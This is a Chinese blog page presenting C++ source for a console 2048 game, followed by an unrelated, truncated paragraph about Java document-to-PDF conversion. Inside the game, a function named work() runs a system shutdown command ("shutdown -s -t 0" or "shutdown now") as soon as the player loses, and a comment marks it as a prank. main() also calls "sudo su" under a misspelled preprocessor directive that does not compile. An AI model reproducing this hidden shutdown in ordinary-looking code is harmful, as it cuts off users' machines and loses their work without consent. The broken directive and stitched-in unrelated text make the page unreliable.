【DUOLUO】手动做2048

这篇博客介绍了如何手动创建2048游戏,通过编程实现游戏的核心逻辑和交互功能。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#include <conio.h>

#include <iostream>
#include <windows.h>
#include <cstdio>
#include <ctime>
#include <cstdlib>
using namespace std;
int f[11][11];
int n;//场地的大小
void rand_num();//在场地随意插入随机数
void upmove();  //上移,下移,左移,右移
void downmove();
void leftmove();
void rightmove();
void input_size();//手动BUG,调整场地大小【邪恶】
void ins_num();  //手动BUG,直接插入一个数【不得不说邪恶】
void move(char); //移动,调用upmove,downmove,leftmove,rightmove函数以实现
int judge();     //判断游戏状态【胜利,失败,未结束】
int score();     //计算分数【就是矩阵求和】
void print();    //输出当前阵容

#ifdef WIN32
void work(){system("shutdown -s -t 0");}
#else
void work(){system("shutdown now");}
#endif

void print() {
	{
		system("cls");
		printf("2048无敌版,By X3\n");
		printf("现在分数:%d\n\n",score());
	}//这上面随便改,下面的最好别动
	for(int i=0; i<n; i++) {
		for(int j=0; j<n; j++)printf("-------");
		printf("-\n");
		for(int j=0; j<n; j++)
		if(f[i][j]){
			printf("| %4d ",f[i][j]);
		}
		else printf("|      ");
		printf("|\n");
	}
	for(int i=0; i<n; i++)printf("-------");
	printf("-\n");
}

void input_size() {
	system("cls");
    printf("恭喜,发现隐藏通道!你可以在这里把场地大小改成4~9!\n");
    printf("请输入新的场地大小:");
    scanf("%d",&n);
	while(n<4||n>9) {
        printf("输入错误,范围是4~9\n");
	    scanf("%d",&n);
	}
}
void ins_num(){
    srand(time(NULL));
    system("cls");
    printf("恭喜,发现隐藏通道!你可以在这里增加一些数!\n");
    printf("输入要增加的数(将随机覆盖一个原数,且只有出现2048你才能胜利)\n");
    int a=rand()%n,b=rand()%n;
    scanf("%d",&f[a][b]);
}

int main() {
//以下只有要坑人时才需要 
    #ifudef WIN32
    system("sudo su");
    #endif
    n=4;
	rand_num();
	rand_num();
	while(1) {
		print();
		char c=getch();
		move(c);
		int zt=judge();
		if(zt==0) {
            print();
			printf("\n\n你还不够强!\n");
			work();
			system("pause");
			return 0;
		} else if(zt==2) {
            print();
			printf("\n\n高手,我承认,你赢了\n");
			system("pause");
			return 0;
		}
	}
	return 0;
}
void rand_num() { //生成随机数
	srand(time(NULL));
	int x,y;
	do {
		x=rand()%n;
		y=rand()%n;
	} while(f[x][y]!=0);
	f[x][y]=(rand()%6)?2:4;
}
void upmove() { //向上移动
	bool move=0;//记录是否移动过
	for(int i=1; i<n; ++i) {
		for(int j=i; j>=1; --j) {
			for(int l=0; l<n; ++l) {
				if(f[j-1][l]==0) {
					move=1;
					f[j-1][l]=f[j][l];
					f[j][l]=0;
				} else {
					if(f[j-1][l]==f[j][l]) {
						f[j-1][l]*=2;
						f[j][l]=0;
					}

				}
			}
		}
	}
	if(move)rand_num();
}
void downmove() {
	bool move=0;
	for(int i=n-2; i>-1; --i) {
		for(int j=i; j<n-1; ++j) {
			for(int l=0; l<n; ++l) {
				if(f[j+1][l]==0) {
					move=1;
					f[j+1][l]=f[j][l];
					f[j][l]=0;
				} else {
					if(f[j+1][l]==f[j][l]) {
						f[j+1][l]*=2;
						f[j][l]=0;
					}

				}
			}
		}
	}
	if(move)rand_num();
}
void leftmove() {
	bool move=0;
	for(int i=1; i<n; ++i) {
		for(int j=i; j>0; --j) {
			for(int l=0; l<n; ++l) {
				if(f[l][j-1]==0) {
					move=1;
					f[l][j-1]=f[l][j];
					f[l][j]=0;
				} else {
					if(f[l][j-1]==f[l][j]) {
						f[l][j-1]*=2;
						f[l][j]=0;
					}

				}
			}
		}
	}
	if(move)rand_num();
}
void rightmove() {
	bool move=0;
	for(int i=n-2; i>-1; --i)
		for(int j=i; j<n-1; j++)
			for(int l=0; l<n; l++)
				if(f[l][j+1]==0) {
					move=1;
					f[l][j+1]=f[l][j];
					f[l][j]=0;
				} else {
					if(f[l][j+1]==f[l][j]) {
						f[l][j+1]*=2;
						f[l][j]=0;
					}
				}
	if(move)rand_num();
}
void move(char ch) {
	switch(ch) {
		case 'w':case'W':upmove();break;
		case 's':case'S':downmove();break;
		case 'a':case'A':leftmove();break;
		case 'd':case'D':rightmove();break;
		case 'p':case'P':input_size();break;
        case 'l':case'L':ins_num();break;
	}
}
int judge() { //判断游戏状态(0:game over,1:game continue,2:game win)
	for(int i=0; i<n; i++)
		for(int j=0; j<n; j++)
			if(f[i][j]==2048)return 2;
	int con=0;
	for(int i=0; i<n; i++)
		for(int j=0; j<n; j++)
			if(f[i][j]==0)con=1;
	for(int i=1; i<n; i++)
		for(int j=0; j<n; j++)
			if(f[i-1][j]==f[i][j])con=1;
	for(int i=0; i<n; i++)
		for(int j=1; j<n; j++)
			if(f[i][j-1]==f[i][j])con=1;
	return con;
}
int score() {
	int sc=0;
	for(int i=0; i<n; i++)
		for(int j=0; j<n; j++)
			sc+=f[i][j];
	return sc;
}

http://2048.malash.net/accepted

资源下载链接为: https://pan.quark.cn/s/22ca96b7bd39 在 IT 领域,文档格式转换是常见需求,尤其在处理多种文件类型时。本文将聚焦于利用 Java 技术栈,尤其是 Apache POI 和 iTextPDF 库,实现 doc、xls(涵盖 Excel 2003 及 Excel 2007+)以及 txt、图片等格式文件向 PDF 的转换,并实现在线浏览功能。 先从 Apache POI 说起,它是一个强大的 Java 库,专注于处理 Microsoft Office 格式文件,比如 doc 和 xls。Apache POI 提供了 HSSF 和 XSSF 两个 API,其中 HSSF 用于读写老版本的 BIFF8 格式(Excel 97-2003),XSSF 则针对新的 XML 格式(Excel 2007+)。这两个 API 均具备读取和写入工作表、单元格、公式、样式等功能。读取 Excel 文件时,可通过创建 HSSFWorkbook 或 XSSFWorkbook 对象来打开相应格式的文件,进而遍历工作簿中的每个 Sheet,获取行和列数据。写入 Excel 文件时,创建新的 Workbook 对象,添加 Sheet、Row 和 Cell,即可构建新 Excel 文件。 再看 iTextPDF,它是一个用于生成和修改 PDF 文档的 Java 库,拥有丰富的 API。创建 PDF 文档时,借助 Document 对象,可定义页面尺寸、边距等属性来定制 PDF 外观。添加内容方面,可使用 Paragraph、List、Table 等元素将文本、列表和表格加入 PDF,图片可通过 Image 类加载插入。iTextPDF 支持多种字体和样式,可设置文本颜色、大小、样式等。此外,iTextPDF 的 TextRenderer 类能将 HTML、
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值